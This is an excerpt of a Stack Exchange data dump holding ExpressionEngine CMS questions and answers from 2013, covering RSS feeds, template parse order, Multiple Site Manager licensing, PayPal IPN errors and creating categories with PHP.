  <row Id="6019" PostTypeId="1" AcceptedAnswerId="6078" CreationDate="2013-02-07T23:19:33.540" Score="2" ViewCount="103" Body="&lt;p&gt;Has anyone experience in using php code in postmaster messages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a weekly email using parcels and have tried to include code as simple as echoes and prints but there has been no output. Is there a preference somewhere that I can update?&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-02-09T15:26:55.303" Title="Including php code in Postmaster message" Tags="|email|php|postmaster|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6020" PostTypeId="1" AcceptedAnswerId="6023" CreationDate="2013-02-07T23:20:00.240" Score="2" ViewCount="117" Body="&lt;p&gt;Looking for a way to list new entries, from multiple channels, and existing entries that have received comments - in the last n days. I'd be really grateful for any leads on how to do this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-02-11T17:21:03.020" Title="How to list new entries and entries with new comments?" Tags="|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6022" PostTypeId="2" ParentId="5973" CreationDate="2013-02-08T01:21:23.410" Score="3" Body="&lt;p&gt;It's probably a parsing issue. Try an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your main template set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    {embed=&quot;embeds/related&quot; id=&quot;{entry_id}&quot;}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create a new template called &quot;related&quot; in an &quot;embeds&quot; template group (or use your own naming). In that template set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; dynamic=&quot;off&quot; entry_id=&quot;{embed:id}&quot; }&#xA;    {related_entries id=&quot;related_product_1&quot;}&#xA;        A {title} - {entry_id}&#xA;    {/related_entries}&amp;lt;br/&amp;gt;&#xA;    {related_entries id=&quot;related_product_2&quot;}&#xA;        B {title} - {entry_id}&#xA;    {/related_entries}&amp;lt;br/&amp;gt;&#xA;    {related_entries id=&quot;related_product_3&quot;}&#xA;        C {title} - {entry_id}&#xA;    {/related_entries}&amp;lt;br/&amp;gt;&#xA;    {related_entries id=&quot;related_product_4&quot;}&#xA;        D {title} - {entry_id}&#xA;    {/related_entries}&#xA;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;{entry_id}&lt;/code&gt; in your related loop needs to be the one you are passing to the embed, then change to &lt;code&gt;{embed:id}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-08T01:21:23.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6023" PostTypeId="2" ParentId="6020" CreationDate="2013-02-08T03:48:59.807" Score="7" Body="&lt;p&gt;ExpressionEngine does have an easy way to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#displaying-recent-comments&quot; rel=&quot;nofollow&quot;&gt;display recent comments&lt;/a&gt;, but it sounds like that's not quite what you're looking for. You need a list of distinct &lt;em&gt;entries&lt;/em&gt; having at least one comment in the last N days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to accomplish this is with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query module&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&#xA;    &quot;SELECT title&#xA;    FROM exp_channel_titles&#xA;    JOIN exp_comments&#xA;    ON exp_comments.entry_id = exp_channel_titles.entry_id&#xA;    WHERE FROM_UNIXTIME(comment_date, '%Y-%m-%d') &amp;gt; DATE_SUB(CURDATE(), INTERVAL 10 DAY)&#xA;    GROUP BY exp_channel_titles.entry_id&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give a  list of entries with comments in the last 10 days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key pieces are the last two lines of the query where we compare the comment date against a time interval based on the current date, and then group by entry to prevent duplicates due to multiple qualifying comments on the same entry.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-11T17:21:03.020" LastActivityDate="2013-02-11T17:21:03.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6024" PostTypeId="2" ParentId="6014" CreationDate="2013-02-08T05:31:33.337" Score="1" Body="&lt;p&gt;You can use parameter style=&quot;linear&quot; and can out the &lt;li&gt; according to your preference. Take a reference from this example at the add-on website:&#xA;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/examples/example11&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/examples/example11&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-08T05:31:33.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6025" PostTypeId="2" ParentId="6019" CreationDate="2013-02-08T05:59:25.180" Score="2" Body="&lt;p&gt;I don't think PHP code in the email template works with my template parser. I need to test to be sure, but I don't think it works. I personally never use PHP in templates, instead I just roll anything I need into a simple plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add this to list of things to add in the next release, but I don't have any ETA on v1.3.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-08T05:59:25.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6026" PostTypeId="1" AcceptedAnswerId="6042" CreationDate="2013-02-08T06:23:13.743" Score="4" ViewCount="565" Body="&lt;p&gt;I've tried adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;.. removing curly brackets.. adding &lt;code&gt;status=&quot;publish&quot;&lt;/code&gt; since that's the status that a blog post has to be to display.. all no luck so far.  Here's the rss file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;code removed due to update&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using structure, so that would explain the &lt;code&gt;{page_url}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blogs channel is &quot;blog&quot; but i switched the channel to &quot;personal_trainer_directory&quot; just to see if other channels would work, and it did.. So what could be causing the issue with this now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;blog&quot;}&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;        xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;        xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;        xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;        xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;        xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&#xA;        &amp;lt;channel&amp;gt;&#xA;&#xA;        &amp;lt;title&amp;gt;&amp;lt;![CDATA[Blog]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;        &amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;        &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;        &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;        &amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;{master_channel_name}&quot; limit=&quot;10&quot; dynamic_start=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;        &amp;lt;item&amp;gt;&#xA;            &amp;lt;title&amp;gt;&amp;lt;![CDATA[{title}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;            &amp;lt;link&amp;gt;{page_url}&amp;lt;/link&amp;gt;&#xA;            &amp;lt;guid&amp;gt;{page_url}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;            &amp;lt;description&amp;gt;&amp;lt;![CDATA[{article_body}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;dc:subject&amp;gt;&amp;lt;![CDATA[{categories backspace=&quot;1&quot;}{category_name}, {/categories}]]&amp;gt;&amp;lt;/dc:subject&amp;gt;&#xA;            &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;        &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;        &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;final working rss feed:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;blog&quot;}&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot; status=&quot;open|publish&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;        xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;        xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;        xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;        xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;        xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&#xA;        &amp;lt;channel&amp;gt;&#xA;&#xA;        &amp;lt;title&amp;gt;&amp;lt;![CDATA[Blog]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;        &amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;        &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;        &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;        &amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;{master_channel_name}&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data|pagination&quot; status=&quot;open|publish&quot;}&#xA;        &amp;lt;item&amp;gt;&#xA;            &amp;lt;title&amp;gt;&amp;lt;![CDATA[{title}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;            &amp;lt;link&amp;gt;{page_url}&amp;lt;/link&amp;gt;&#xA;            &amp;lt;guid&amp;gt;{page_url}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;            &amp;lt;description&amp;gt;&amp;lt;![CDATA[{article_body}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;dc:subject&amp;gt;&amp;lt;![CDATA[{categories backspace=&quot;1&quot;}{category_name}, {/categories}]]&amp;gt;&amp;lt;/dc:subject&amp;gt;&#xA;            &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;        &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;        &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="941" LastEditorUserId="941" LastEditDate="2013-02-08T15:20:33.320" LastActivityDate="2013-02-08T15:20:33.320" Title="Can't Get RSS to work (Empty_feed)" Tags="|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6027" PostTypeId="2" ParentId="6015" CreationDate="2013-02-08T08:02:47.367" Score="2" Body="&lt;p&gt;Blank page usually means there is some PHP or MySQL error, but it is suppressed by EE debugging level. Try setting &quot;Show error to everyone&quot; in Output Preferences and see if you get any message.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-08T08:02:47.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6028" PostTypeId="2" ParentId="5983" CreationDate="2013-02-08T09:39:43.727" Score="0" Body="&lt;p&gt;Turned out to be an issue with the themes path. The site is using MSM and the primary site isn't yet live (DNS points elsewhere at the moment) so we were using the ip address as the theme url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We copied the themes folder from the primary domain to the secondary domain and we're sweet.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-08T09:39:43.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6029" PostTypeId="1" CreationDate="2013-02-08T09:49:44.233" Score="1" ViewCount="864" Body="&lt;p&gt;We are a small Romanian company that loves ExpressionEngine. We are trying to build every client's website with EE. But it is very difficult to maintain and update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to install it somewhere ( on a domain ) and the sites just to take the &quot;core&quot; from that domain? ( including modules ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Site1 &amp;lt;------- CORE -------&amp;gt; Site 2&#xA;                |&#xA;                |&#xA;                |&#xA;             Site 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="55" LastEditDate="2013-02-08T17:27:38.413" LastActivityDate="2013-03-05T14:47:53.187" Title="Can we do multiple sites with a single installation of ExpressionEngine?" Tags="|multi-site-manager|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6030" PostTypeId="1" AcceptedAnswerId="6038" CreationDate="2013-02-08T09:54:54.407" Score="1" ViewCount="129" Body="&lt;p&gt;Here is my code in a snippet. Basically what low_replace does is just to convert spaces to dashes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;SPACE&quot; replace=&quot;-&quot;}&#xA;    {permalink=&quot;product&quot;}/&#xA;    {field_a}-&#xA;    {related_entries id=&quot;foo&quot;}&#xA;        {foo_name}&#xA;    {/related_entries}&#xA;    -{field_b}&#xA;    {if bar != ''}-{bar}{/if}&#xA;    {related_entries id=&quot;test&quot;}-&#xA;        {test_name}&#xA;    {/related_entries}/&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tried it, I got this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in /home/test/public_html/system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-08T10:14:41.853" LastActivityDate="2013-02-08T13:40:12.020" Title="Low Replace problem inside a snippet" Tags="|low-replace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6031" PostTypeId="2" ParentId="6029" CreationDate="2013-02-08T10:08:43.833" Score="0" Body="&lt;p&gt;Did you check out &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/index.html&quot; rel=&quot;nofollow&quot;&gt;Multiple Site Manager&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-08T10:08:43.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6032" PostTypeId="2" ParentId="5848" CreationDate="2013-02-08T10:19:21.783" Score="0" Body="&lt;p&gt;Have you looked at your traffic sources?&#xA;Does it really make sense to work hard on SEO-friendly URLs. &#xA;What´s the difference between&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/index.php/blog/entry/my-cool-title-with-a-fancy-twist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/entry/my-cool-title-with-a-fancy-twist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when a significant portion of your users arrive via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;short.ly/dr8Y1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anyway. With social and mobile usage un the rise the URL-shorteners won´t go away anytime soon. Mobile users very often don´t see the URL at all on their device and Google is pretty smart, when it comes to figure out URLs. &#xA;EE has solid SEO capabilities build in (see answers above). I would use them and not try to customize EE too much here, as it all comes with a cost.&#xA;- You need to come up with a URL-scheme&#xA;- Implement it&#xA;- Maybe buy an add-on like NSM htaccess&#xA;- Make sure, that you have the same environment in stageing and production&#xA;The more stuff you have to manage, the higher the chance, that something will break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´d rather make sure, that Google sees me as a distinguished author (get a G+-account, add a decent photo and link back fromm every Single Entry with rel=&quot;author&quot; to that profile). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To boost click-throughs on Google I would focus on&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;creating a snappy headline (there is a reason, why the guys from &lt;a href=&quot;http://www.businessinsider.com/upworthy-how-to-create-a-fast-growing-media-company-2012-11?op=1&quot; rel=&quot;nofollow&quot;&gt;Upworthy&lt;/a&gt; rewrite headlines 25 times.&lt;/li&gt;&#xA;&lt;li&gt;having a photo next to the article (the G+-stuff)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-02-08T10:19:21.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6033" PostTypeId="1" CreationDate="2013-02-08T10:23:31.123" Score="1" ViewCount="78" Body="&lt;p&gt;Wondering if it's possible to create categories outside control panel. I know its not possible with safecracker. Any add-ons or hack to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="694" LastActivityDate="2013-10-25T09:27:01.367" Title="Is it possible to create categories outside control panel" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6035" PostTypeId="1" AcceptedAnswerId="6054" CreationDate="2013-02-08T13:10:21.607" Score="1" ViewCount="688" Body="&lt;p&gt;I got this message from PayPal recently about a site that I use for a site that includes an Expresso Store.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Please check your server that handles PayPal Instant Payment Notifications (IPN). Instant Payment Notifications sent to the following URL(s) are failing:&#xA;&#xA;/en/?ACT=31&amp;amp;H=48849e7094c749963e181a1e04b13b16&#xA;&#xA;If you do not recognize this URL, you may be using a service provider that is using IPN on your behalf. Please contact your service provider with the above information. If this problem continues, IPNs may be disabled for your account.&#xA;&#xA;Thank you for your prompt attention to this issue.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and Store has stopped registering my PayPal payments (it lists them as pending after they have been paid). Do you know if this is a Store problem, or has PayPal changed the way it deos IPNs? I did not change anything myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;Store 1.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good idea with support on EE Stackexchange by the way!&lt;/p&gt;&#xA;" OwnerUserId="728" LastActivityDate="2013-02-08T17:39:53.150" Title="How can I solve a PayPal IPN (Instant Payment Notification) error with Expresso Store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6036" PostTypeId="1" AcceptedAnswerId="6084" CreationDate="2013-02-08T13:30:33.073" Score="3" ViewCount="490" Body="&lt;p&gt;In the summary of features of Store at: &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/store&lt;/a&gt; it states you can &quot;Optionally automatically register members during checkout&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find the setting in the control panel or any documentation on how to set this up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- EDIT --&#xA;Figured this one out -&gt;&#xA;This is possible via the register_member parameter of the checkout form or by using a register member field in the form. Adrians answer below has full details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-02-13T13:37:31.833" LastActivityDate="2013-06-28T22:42:01.030" Title="Expresso Store - Optionally automatically register members during checkout" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6037" PostTypeId="2" ParentId="6036" CreationDate="2013-02-08T13:38:27.360" Score="1" Body="&lt;p&gt;I just found the 'register_member' parameter &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#register_member&quot; rel=&quot;nofollow&quot;&gt;in the checkout tag documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="779" LastEditDate="2013-03-28T15:02:12.257" LastActivityDate="2013-03-28T15:02:12.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6038" PostTypeId="2" ParentId="6030" CreationDate="2013-02-08T13:40:12.020" Score="2" Body="&lt;p&gt;Parse order strikes again. The conditional inside the tag is an advanced one and will be parsed &lt;em&gt;after&lt;/em&gt; all the tags. That means it is still present when the replace tag is processed, creating code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if-bar-!=-''}-{bar}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is likely to cause the template parser to choke when it tries to parse it.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-08T13:40:12.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6039" PostTypeId="2" ParentId="6029" CreationDate="2013-02-08T14:21:59.200" Score="4" Body="&lt;p&gt;You cannot use 1 ExpressionEngine installation to drive a multitude of websites for different customers. That would be a violation of the license, because you'd essentially be paying once to derive revenue from any number of clients, even if you're paying for Multiple Site Manager seats as they come on board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple Site Manager's use is to develop satellite sites for a single customer, where you're not only relying on maintaining 1 core install, you're also pulling content from the core site into those other sites. If you had a corporate website and set up sites for your branch offices, they could pull news articles from the corporate website while having their own home pages, contact us pages, etc. You can run those satellite sites on a subdomain, or their own domain. Each vhost on your server gets a copy of the index.php/controller file, and pulls the system in through the core system folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the exact wording of the license. I don't know if there's a requirement that the multiple sites sharing anything other than an install. But I think it's safe to say that if they're separate customers, they should have their own license, no matter how you install/configure your server.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-08T15:01:09.307" LastActivityDate="2013-02-08T15:01:09.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6040" PostTypeId="2" ParentId="6033" CreationDate="2013-02-08T14:34:48.693" Score="2" Body="&lt;p&gt;The categories table structures are fairly simple. With EE's ability to run PHP in templates, you can enable PHP, and then use its &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;Database class&lt;/a&gt; to insert new data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array('site_id' =&amp;gt; 1, 'group_id' =&amp;gt; 2, 'parent_id' =&amp;gt; $parent_cat, cat_url_title =&amp;gt; 'some_new_category_name', $cat_name =&amp;gt; 'Some New Category Name', cat_order = 5);&#xA;&#xA;$sql = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert_string('exp_categories', $data);&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few things you'd need to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dig into EE's code to find a function that converts a &lt;code&gt;cat_name&lt;/code&gt; to a &lt;code&gt;cat_url_title&lt;/code&gt;, or write your own.&lt;/li&gt;&#xA;&lt;li&gt;Get the &lt;code&gt;MAX cat_order&lt;/code&gt; of the categories under the parent category you're in, add 1 to that for the new &lt;code&gt;cat_order&lt;/code&gt;. Note that if there's an existing &lt;code&gt;cat_url_title&lt;/code&gt; that matches, you'll need to add a number at the end.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could build any sort of front end you want: A nested display of all categories with &quot;Add Child&quot; links next to each would work. Clicking that link could send you to a form page with the parent ID on the URL. You could do a &lt;code&gt;Select&lt;/code&gt; query with that parent ID to find the details you need. (By enabling PHP on output, you can get the ID from the URL using its segment variable, and read that into your PHP.) Then let the user enter a category name, and upon submitting the form, run those values through PHP to create the new category. You could also send that link to a lightbox/modal so that the user doesn't leave the page, and set that up to refresh the page when you close it. Their new category would then be in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've written PHP code similar to this, with the lookups for existing categories, to batch load categories from CSV files (along with other data), creating categories on the fly as they're needed.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-08T15:15:17.083" LastActivityDate="2013-02-08T15:15:17.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6041" PostTypeId="1" AcceptedAnswerId="6047" CreationDate="2013-02-08T14:47:20.173" Score="2" ViewCount="382" Body="&lt;p&gt;I'm trying to create a product search page, where the categories are listed on the sidebar with checkboxes. I'd like to show how many products are in each category.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checking one of the categories would filter your results to show products in that category.&lt;/li&gt;&#xA;&lt;li&gt;Once the results are filtered, the entry counts on the categories should be updated. (Number of entries that match the current search and is also in the respective category)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've created the search using Low Search, and can show the entry count using &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt;. But I don't know how I would show the 'filtered' count. Is something like this even possible?&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2016-03-15T10:10:06.927" Title="Filtered search with category entry counts" Tags="|categories|search|low-search|gwcode-categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6042" PostTypeId="2" ParentId="6026" CreationDate="2013-02-08T14:51:02.990" Score="3" Body="&lt;p&gt;I copied and pasted your template code into a new template in a site in my dev environment. The only value I changed was the &lt;code&gt;master_channel_name&lt;/code&gt; value to match one of my channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see all entries being output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mention:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;adding status=&quot;publish&quot; since that's the status that a blog post has to be to display.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would closely examine your custom Status values, or stick with open|closed to try to troubleshoot this further.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-08T14:51:02.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
